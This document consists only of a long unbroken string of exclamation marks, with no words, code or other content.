!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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